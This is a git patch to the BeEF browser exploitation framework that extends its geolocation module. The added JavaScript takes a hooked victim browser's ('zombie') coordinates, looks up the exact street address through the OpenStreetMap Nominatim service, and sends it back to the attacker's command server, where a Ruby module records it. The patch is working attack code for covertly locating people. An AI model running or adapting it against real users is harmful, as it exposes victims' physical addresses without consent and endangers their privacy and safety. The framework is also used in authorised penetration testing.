From a803936fad77517ed8b8fadf4b2fb72d76fe403b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 15 Nov 2010 10:39:00 +0000 Subject: [PATCH] added OpenStreetMap reverse for geolocation module git-svn-id: https://beef.googlecode.com/svn/trunk@527 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/beefjs/geolocation.js | 22 ++++++++++++++++++- .../physical_location/physical_location.rb | 1 + 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/modules/beefjs/geolocation.js b/modules/beefjs/geolocation.js index 192510acb..c3349faa1 100644 --- a/modules/beefjs/geolocation.js +++ b/modules/beefjs/geolocation.js @@ -12,6 +12,26 @@ beef.geolocation = { return !!navigator.geolocation; }, + /* + * given latitude/longitude retrieves exact street position of the zombie + */ + getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){ + beef.net.request( + 'http://nominatim.openstreetmap.org/reverse?format=json&lat=' + latitude + '&lon=' + longitude + '&zoom=18&addressdetails=1', + 'GET', + function(response) { + if(response.length > 0) { + var jsonData = JSON.parse(response); + beef.net.sendback(command_url, command_id, "latitude=" + latitude + + "&longitude=" + longitude + + "&openStreetMap=" + escape(jsonData.display_name) + + "&geoLocEnabled=True"); + } + }, + '' + ); + }, + /* * retrieve latitude/longitude using the geolocation API */ @@ -26,7 +46,7 @@ beef.geolocation = { function(position){ // success var latitude = position.coords.latitude; var longitude = position.coords.longitude; - beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude + "&geoLocEnabled=True"); + beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude); }, function(error){ // failure switch(error.code) // Returns 0-3 diff --git a/modules/commands/host/physical_location/physical_location.rb b/modules/commands/host/physical_location/physical_location.rb index d91c58f9a..86848e1b4 100644 --- a/modules/commands/host/physical_location/physical_location.rb +++ b/modules/commands/host/physical_location/physical_location.rb @@ -28,6 +28,7 @@ class Physical_location < BeEF::Command content['Geolocation Enabled'] = @datastore['geoLocEnabled'] content['Latitude'] = @datastore['latitude'] content['Longitude'] = @datastore['longitude'] + content['Open Street Map Address'] = @datastore['openStreetMap'] save content end